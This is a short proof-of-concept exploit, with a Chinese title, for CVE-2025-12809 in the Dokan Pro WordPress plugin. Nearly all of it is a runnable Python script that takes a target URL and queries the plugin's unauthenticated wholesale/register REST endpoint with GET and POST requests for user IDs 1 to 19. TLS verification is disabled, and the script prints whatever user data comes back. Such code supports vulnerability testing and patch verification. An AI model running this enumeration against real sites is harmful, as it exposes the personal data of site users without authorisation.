CVE-2025-12809 WordPress Dokan Pro插件REST API未授权用户信息泄露漏洞

# CVE-2025-12809 PoC - Dokan Pro Unauthenticated User Enumeration # Target: WordPress site with Dokan Pro plugin <= 4.1.3 import requests import json import sys def check_dokan_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-12809 Dokan Pro plugin /dokan/v1/wholesale/register endpoint lacks authentication """ # Remove trailing slash target_url = target_url.rstrip('/') # Construct the vulnerable endpoint endpoint = f"{target_url}/wp-json/dokan/v1/wholesale/register" print(f"[*] Testing target: {target_url}") print(f"[*] Endpoint: {endpoint}") print("-" * 60) # Test with different user IDs (typically starting from 1) vulnerable_users = [] for user_id in range(1, 20): # Scan first 20 user IDs try: # Method 1: GET request with user_id parameter params = {"user_id": user_id} response = requests.get(endpoint, params=params, timeout=10, verify=False) if response.status_code == 200: try: data = response.json() if data and len(data) > 0: print(f"[+] User ID {user_id}: Found") print(f" Response: {json.dumps(data, indent=2)}") vulnerable_users.append({"id": user_id, "data": data}) except json.JSONDecodeError: pass # Method 2: POST request post_data = {"user_id": user_id} response = requests.post(endpoint, json=post_data, timeout=10, verify=False) if response.status_code == 200: try: data = response.json() if data and len(data) > 0: print(f"[+] User ID {user_id} (POST): Found") print(f" Response: {json.dumps(data, indent=2)}") if not any(u['id'] == user_id for u in vulnerable_users): vulnerable_users.append({"id": user_id, "data": data}) except json.JSONDecodeError: pass except requests.exceptions.RequestException as e: print(f"[-] Error testing user ID {user_id}: {e}") continue print("-" * 60) if vulnerable_users: print(f"[!] VULNERABLE: Found {len(vulnerable_users)} users via enumeration") return True else: print("[-] Target may not be vulnerable or no users found in range") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12809-poc.py <target_url>") print("Example: python cve-2025-12809-poc.py https://example.com") sys.exit(1) target = sys.argv[1] check_dokan_vulnerability(target)